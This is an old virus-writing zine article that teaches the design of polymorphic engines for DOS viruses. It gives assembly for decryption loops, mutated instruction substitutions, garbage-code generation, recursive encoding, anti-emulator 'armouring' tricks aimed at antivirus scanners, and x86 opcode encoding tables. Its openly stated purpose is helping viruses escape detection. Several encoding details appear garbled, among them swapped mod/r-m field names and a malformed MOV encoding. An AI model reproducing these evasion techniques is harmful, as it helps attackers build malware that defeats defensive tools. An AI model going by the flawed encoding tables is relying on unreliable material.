POLYMORPHISM
by Executioner
At its simplest level, polymorphism simply generates a random decryptor for
the virus. These decryptors are generally composed of XOR/ADD/SUB/INC/DEC/
ROR/ROL instructions, and some method of looping through the decryption
algorithm. This article is intended to be a fairly comprehensive look at the
methodology used in common polymorphic engines.
LOOP CONSTRUCT
--------------
Load CX with the length of the encrypted data, SI and DI with the offset of
the data (with ES and DS assumed to point to the virus segment), and use the
standard string operations to load/store the data. The actual encryption
algorithm can be as simple or complex as desired; it doesn't really matter,
since most AV scanners emulate the decryption loop.
mov cx, e_length
mov si, offset e_start
mov di, si
decrypt_loop:
lodsb
<operation>
stosb
loop decrypt_loop
ALTERNATE LOOP CONSTRUCT 1
--------------------------
Point an index or base register to the start of the encrypted data and use
operations that act on the memory pointed to by the register, instead of
loading the plaintext into a register first.
mov si, offset e_start
decrypt_loop:
<operation>
inc si
cmp si, offset e_finish
jnz decrypt_loop
ALTERNATE LOOP CONSTRUCT 2
--------------------------
Sort of a combination of the two previous, using varied index/base registers
but loading into a register before operating. This is not efficient, but
since this is a polymorphic engine, efficiency is hardly a factor.
mov bx, offset e_start
mov si, offset e_start
decrypt_loop:
mov al, [bx]
<operation>
mov [si], al
inc bx
inc si
cmp si, offset e_finish
jnz decrypt_loop
MUTATING
--------
The loop construct is fine, but if you stick to that format it's easy to scan
for. Instead, different operations can be substituted. Some suggestions
follow below:
-> mov cx, e_length
---
sub cx, cx
or cx, e_length
---
push e_length
pop cx
---
mov bx, e_length
mov cx, bx
---
mov cx, e_length xor 1234h
xor cx, 1234h
-> mov di, si
---
push si
pop di
---
xchg si, di
mov si, di
---
push bp
sub sp, 2
mov bp, sp
mov word ptr [bp], si
pop di
pop bp
-> lodsb
---
mov al, byte ptr ds:[si]
inc si
---
inc si
mov al, byte ptr ds:[si-1]
---
add si, 1
mov al, byte ptr ds:[si-1]
-> stosb
---
mov byte ptr es:[di], al
inc di
---
inc di
mov byte ptr es:[di-1], al
---
add di, 1
mov byte ptr es:[di-1], al
-> loop e_start
---
dec cx
jz e_start
---
sub cx, 1
jcxz e_start
---
sub cx, 1
jnz temp
push offset e_start
retn
temp:
ENCRYPTION ALGORITHM
--------------------
Many forms of encryption have been used throughout history. These range from
simple substitution and rail fence ciphers, to massive lookup tables with vast
mathematical operations, lossy methods to disguise frequency analysis,
compression, one-time pads, and more exotic methods. For the virus, however,
encryption is generally far simpler.
Simply choose a few (3-20 is good) operations to perform on the data.
Remember that the encryption algorithm must do the operations in the reverse
order as the decryption algorithm. For example, if you encrypt with a
sequence like NEG/XOR 34h/SUB F8h/NOT, the decryption must go
NOT/ADD F8h/XOR 34h/NEG.
NEG/NOT do not require a key, and as such are of limited use, since they
result in a binary result. Either one or the other.
XOR is used commonly due to its self-inverse property. A value eXclusive ORed
with another value twice results in the original value. ie. 48h XOR 10 XOR 10
is 48h.
ADD/INC and SUB/DEC are complementary functions; if you use ADD/INC in the
encryption, the decryption must use SUB/DEC and vice versa.
MUL/DIV are less commonly used. The important thing to remember is that for
byte sized input, word sized output is used. An 8-bit value multiplied by
another 8-bit value results in a 16-bit product. An 8-bit value divided by
an 8-bit value results in an 8-bit dividend and an 8-bit remainder.
XLATB is even less commonly used. XLATB was designed specifically for this
purpose, hence its name; transLATe Byte. Given an input value in AL, the
translation table at DS:BX, XLATB will return the translated value in AL. The
table is 256 bytes long, and must contain each value only once, else
translation ambiguity will result and data loss as well.
ROR/ROL are each other's inverse functions. They rotate the bits n positions
to the right or left, respectively.
SHL/SHR are similar to ROR/ROL except for the slight difference that they do
not keep the bit that is shifted off the end. That bit is stored in the carry
flag, so to use it properly that bit must be added to the following byte,
which can be difficult if the data has been permutated with any other
function. It's not advisable to use SHL/SHR unless you can guarantee that
only SHL/SHR will be used.
XCHG can be use on word-length input to swap the high/low bytes, but has
little use, since it does not truly disguise the data.
AND/OR aren't normally looked at in this way, since they are "lossy" functions
but if you feel like wasting some space it can be done. If you take a random
AND mask and NOT it, you will, between the two, have all bits set. AND the
input data with one, then the other, store both results, and have the
decryptor OR the two values together.
data (plain1) = 01101101
mask (key) = 11010110
inverse mask (~key) = 00101001
data AND mask (cipher1) = 01101101
AND 11010110
--------
01000100
data AND inverse mask (cipher2) = 01101101
AND 00101001
--------
00101001
to get the original data (plain1) take (cipher1) OR (cipher2).
(cipher1) OR (cipher2) = (plain1) = 01000100
OR 00101001
--------
01101101
Code follows. Note that I have chosen the common LOOP implementation. This
opens a wide range of possible variations using conditional jumps or self-
modifying code.
encrypt:
mov cx, e_length ; process e_length bytes
mov si, e_start ; read from the start
mov di, e_buffer ; store it in the buffer
call random ; get a random mask
mov bh, al ; copy the mask to BX
mov bl, al
not bh ; create inverse mask
encrypt_loop:
lodsb ; get plaintext
mov ah, al ; copy to high byte
and al, bl ; use initial mask
and ah, bh ; use inverse mask
stosw ; store ciphertext
loop encrypt_loop ; process the next bytee
decrypt:
mov cx, e_length ; process e_length bytes
mov si, offset e_start ; read from e_start
mov di, si
decrypt_loop:
lodsw ; get a pair
or al, ah ; mix the data
stosb ; store the original data
loop decrypt_loop ; process the next byte
GARBAGE INSTRUCTIONS
--------------------
Garbage instructions are meant to be inserted between the actual operational
pieces of code. Recursion can become effective here, as you can store which
registers are pushed, as well as the order that they are pushed, using XCHG
and POP to return them in some random fashion. Basically, anything to confuse
the situation is applicable.
Use NOP or other one-byte instructions. This can be made very efficient
through the use of tables and the XLATB instruction.
Save a register and modify its contents in some way, then restore the data.
MOV a register to itself. XCHG registers with themselves. Doubly NEGate
or NOT a register or memory location. ADD, then SUBtract a constant from a
register. DECrement, then INCrement. XOR a register twice with the same
constant.
Perform CALLs to empty routines.
Jumps inserted randomly over small pieces of code or random data.
Move data to ROM. The write will fail, and will not be able to actually
modify the data, so it's effectively a null instruction.
Execute interrupt calls that return known data, such as AX=0.
Keep track of registers that have not been used, and permutate the data in
them in any fashion. This is fairly simple to do, since there are 8 word
length registers and 8 byte length registers.
The important thing to keep in mind, is that some of these instructions
(specifically the mathematical functions) will affect the flags. If you
intend to do a conditional jump, either do not generate garbage, save the
values of the flags with PUSHF/POPF or LAHF, or set some sort of garbage
generation flag that locks out the math operations.
RECURSIVE ENCODING
------------------
A simple example of a recursive encoding for an instruction would be
MOV reg, imm. When the MOV encoding function is called, it has a possibility
of calling itself along with some sort of permutation to hide the actual
contents of the move, along with the intent. It can be shown mathematically
or through intuitive analysis that this provides potentially infinite depth.
You may wish to restrict maximum nesting if you are using conditional jumps,
since on pre-386 machines the maximum length of a conditional jump is +-7F
bytes.
subroutine <move> (reg, imm)
if (type=(random(4)-1)>=0) {
key=random
<operation> type, reg, key
<move> reg, xi* <operation> imm
<inverse operation> type, reg, key
}
else mov reg, imm
subroutine <operation> (type, reg, imm)
type =
0 xor reg, imm
1 <add> reg, imm
2 <ror> reg, imm
subroutine <inverse operation> (type, reg, imm)
type =
0 xor reg, imm
1 <add> reg, -imm
2 <ror> reg, -imm
subroutine <add> (reg, imm)
random =
0 add reg, imm
1 sub reg, -imm
2 {
k=random
l=imm-k
<add> reg, k
<add> reg, l
}
subroutine <ror> (reg, imm)
random =
0 ror reg, imm
1 rol reg, -imm
2 {
k=random
l=imm-k
<ror> reg, k
<ror> reg, l
}
That basically concludes the actual variance portion of polymorphic routines.
To determine the variance of your engine, is a difficult task. While your
engine may change several instructions, if too many instructions are static
simple scan strings may detect your creations. Likewise, if you have no
static instructions, but not enough variance on those, multiple scan strings
will again suffice.
To calculate the total number of permutations your engine can create, find the
total number of permutations for each distinct path and add them together. To
find the number for each path, break the code into segments and multiply the
total number of different code segments that each can create together. For
example, in the encoding section, there are (perhaps) five instructions that
you wish to use. You wish to use 3-15 of them. Each will have a one byte
random immediate operand. That's sum (k=3->15) ((256^k)*k!).
This is one relatively effective way to calculate your engine's total efficacy.
However, many scanners are moving to emulation methods to bypass the decryptor
and move to the static code that lies beyond. This brings us to the next
section.
ARMOURING
---------
Debugging traps can be inserted in any location, but since they tend to take
a while to execute they should go outside the main decryption loop. Otherwise
the user will notice the slowdown.
Armouring, or anti-debugging as it is sometimes called, is slightly different
for a polymorphic engine than it is with a standard debugger. With a debugger
one must assume that a human being is working on it. When dealing with
emulators, one can count on definite behaviour, that will always result from a
given set of data. Besides that, the entire method of dealing with
polymorphism has also changed. Before, the AV author would find static bits
in the decryptor, patterns, and other heuristics to determine whether something
was encrypted using a given engine. Now, most AV software runs the code through
an emulator and scans the decrypted code for the engine itself.
Currently, using 386 operations in your decryption loop will kill most emulators
but that's expected to change with F-Prot/Project Vixen. Other methods usually
involve trying to blow the emulator's stack, overflow the heap, nesting loops
deep inside massive recursive calls to convince the emulator that no decryptor
is present, etc.
Another method which is extremely successful is the 'known value' method of
data assignment. For example, if you wish to place 1234h in AX, but don't want
it to be painfully obvious, you could find a function that returns 1000h, call
it, and add 234h to that. These are generally interrupt calls, or known data
locations.
A topic which is a form of polymorphism quite different than the one discussed
in this article, is oligomorphism in its various forms. This involves swapping
the order instructions or blocks of instructions to make it harder to make a
single scan string for a virus. Also similar is what I've termed DCG or
Dynamic Code Generation, which is where the operations are encoded as they're
needed. These are the directions that I see virus writing going towards. I've
already completed a full DCG utilizing virus, as well as a variant that can do
small/large-block oligomorphism at the same time as DCG, but they're in beta
stages and not really ready for distribution.
known data
----------
0000:00C0 EA ?? ?? ?? ?? EA ?? ?? ?? ??
DS:0000 CD 20 ?? ?? ?? 9A ?? ?? ?? ??
Initial SP for COM is FFFE, and for EXE files the SP field is at offset 10h in
the EXE header.
known interrupt return values
-----------------------------
2Fxx - ES=PSP segment, BX=80h
42xx - where xx is not a valid seek mode returns 0001 in AX
18xx - AL=0
1Dxx - AL=0
1Exx - AL=0
20xx - AL=0
2Fxx - AL=0
PHYSICAL ENCODING
-----------------
In this part of the article, the actual binary representation of a few useful
operations will be shown, as well as generally how all instructions for the
80x86 are built.
I've tried to keep a very static feel to the text following, to illustrate
the workings and similarities of the instructions for the i86. i386+
instructions have for the most part been excluded, so there's no information
on scaled index bases or general register indexing. Maybe later?
There are essentially three different operands used in the i86. The immediate
value, or constant; the register; and the memory address. The memory address
is slightly more complex, being addressed in two ways: the constant address
and the indirect address. Indirect addresses are formed from a combination of
a base register (BX/BP) and/or an index register (SI/DI) and sometimes a
constant 8 or 16 bit offset.
The instructions themselves are composed of bitfields of varying lengths mixed
with a set of constants used to represent each of the preceding operand types.
There are also a few special purpose bits used in some encodings to achieve
a degree of redundancy known in few architectures.
reg field
---------
The word bit in the encoding will determine whether the byte or word register
will be used.
AX or AL - 000 or 0
CX or AH - 001 or 1
DX or CL - 010 or 2
BX or CH - 011 or 3
SI or DL - 100 or 4
DI or DH - 101 or 5
BP or BL - 110 or 6
SP or BH - 111 or 7
sreg field
----------
Segment registers have a different set of encodings, and are used with a
different set of instructions. They are as follows:
ES - 001 or 1
CS - 011 or 3
SS - 101 or 5
DS - 111 or 7
r/m field
---------
00 - based or indexed
01 - based or indexed with a 8-bit displacement
10 - based or indexed with a 16-bit displacement
11 - two register operation
mod field
---------
If it's a based or indexed memory location, the following table is used.
000 - [BX+SI]
001 - [BX+DI]
010 - [BP+SI]
011 - [BP+DI]
100 - [SI]
101 - [DI]
110 - if r/m is 00, a direct memory offset, else [BP]
111 - [BX]
This field doubles as a reg field for two register instructions.
direction
---------
In some instructions, there is a direction bit. If not set, reg is the
destination and mod is the source. If set, the opposite is true.
what does this mean?
--------------------
Assume you want a destination of AX, and a source of [BX+45]
r/m - 01 (indexed with an 8-bit displacement)
reg - 000 (AX)
mod - 111 ([BX])
Assume you want a destination of CX, and a source of DX
r/m - 11 (two registers)
reg - 001 (CX)
mod - 010 (DX)
Assume you want a destination of BX, and a source of [BX+DI+3456]
r/m - 10 (based and indexed with a 16-bit displacement)
reg - 011 (BX)
mod - 001 ([BX+DI])
Assume you want a destination of SI, and a source of [BP]
r/m - 01 (based with a 8-bit displacement)
reg - 100 (SI)
mod - 110 ([BP])
[BP] is a special case. Since the value 110 is reserved for direct memory
locations when r/m is 00 for a base without an offset, the only way to encode
a [BP] is as [BP+00] or [BP+0000] using an r/m value of 10 or 01.
segment overrides
-----------------
Segment overrides immediately precede the instruction on which they act. They
are used to change the segment from which an indirect address' contents are
fetched. There is no limit to the number of segment overrides that can be
used, but only the last will actually be effective.
The default segments for the base/index registers are as follows:
DS - BX
SS - BP
DS - SI
DS - DI (ES for the string instructions)
The encodings for the overrides:
ES - 26
CS - 2E
SS - 36
DS - 3E
FS - 64
GS - 65
instructions described: MOV, XCHG, XOR, PUSH, POP, JMP, INT, LOOP
flow control instructions
-------------------------
* INT xx
11001101 data (where data is the interrupt to be called)
* JMP SHORT
11101011 data (where data is a signed byte displacement from the end of the
instruction)
Example:
0100 EB 02 JMP $+4 (jump two bytes forward, or four from the instruction start)
0102 90 NOP (1 byte)
0103 90 NOP (1 byte)
0104 90 NOP (jump destination)
* JMP NEAR xxxx
11101001 data (where data is a signed word displacement from the end of the
instruction)
* JMP FAR xxxx:xxxx
11101010 data (where data is a segment:offset in intel reverse dword format)
* LOOP xx
11100010 data (where data is a signed byte displacement from the end of the
instruction)
* CALL SHORT xxxx
11101000 data (where data is a signed word displacement from the end of the
instruction)
* RETN . 11000011 or C3
* RETF . 11001011 or CB
* IRET . 11001111 or CF
Note: for all program control operations, the offset is calculated from the
end of the instruction. To do a near jump to the instruction directly
following the jump, it would be E9 00 00. This cannot be overstated. So many
people do not seem to grasp this idea.
common instructions
-------------------
--- the XCHG instruction
* XCHG reg, reg
* XCHG reg, mem
* XCHG mem, reg
1000011,w r/m,reg,mod (data)
* XCHG reg, AX
1001,w,reg
Example:
XCHG CX, DX
CX/DX are word length registers, so the word bit is set. The bit
representation for CX is 001; DX is 010; a two-register instruction has an
r/m field of 11.
1000011,1 11,010,001
w r/m reg reg
example:
XCHG CX, [BX+SI+5698h]
1000011,1 10,001,000 1001,100 0101,0110
w r/m reg mod 9h 8h 5h 6h
--- the MOV instruction
* MOV reg, imm
1011,w,reg,data
* MOV reg, reg
* MOV reg, mem
* MOV mem, reg
100010,d,w r/m,reg,mod,data
* MOV sreg, reg
* MOV reg, sreg
100011,d,0,1,sreg,reg,1
example:
MOV AX, 1234h
1011 1 000 001101000 00010010
w reg data
MOV BX, [0100]
100010 1 1 00 011 110 0000000000000001
d w r/m reg mod data
--- the XOR instruction
* XOR reg, reg
* XOR mem, reg
* XOR reg, mem
001100dw mod,reg,r/m data (1,2)
example:
XOR AX, BX
00110001 11 000 011
r/m reg mod
--- the stack operations
* POP reg . 01011,reg
* PUSH reg . 01010,reg
* POP sreg . 000,sreg,11
* PUSH sreg . 000,sreg,10
* PUSHA . 01100000 or 60
* POPA . 01100001 or 61
* PUSHF . 10011100 or 9C
* POPF . 10011101 or 9D
Note that only word length registers may be pushed or popped. The stack is
entirely word oriented, largely for reasons of efficiency due to the nature
of the bus.
simple one-byte instructions
----------------------------
These are going to be shown in a different format to save space.
string instructions
-------------------
MOVSB . 10100100
MOVSW . 10100101
CMPSB . 10100110
CMPSW . 10100111
STOSB . 10101010
STOSW . 10101011
LODSB . 10101100
LODSW . 10101101
SCASB . 10101110
SCASW . 10101111
flag instructions
-----------------
CLI . 11111010
STI . 11111011
CLD . 11111100
STD . 11111101
CLC . 11111000
STC . 11111001
CMC . 11110101
SAHF . 10011110
LAHF . 10011111
misc.
-----
DAA . 00100111
DAS . 00101111
HLT . 11110100 - note: be careful with the bus/processor state
LOCK . 11110000 operations; don't use them as garbage
instructions unless you know what you're doing
- the Executioner wuz here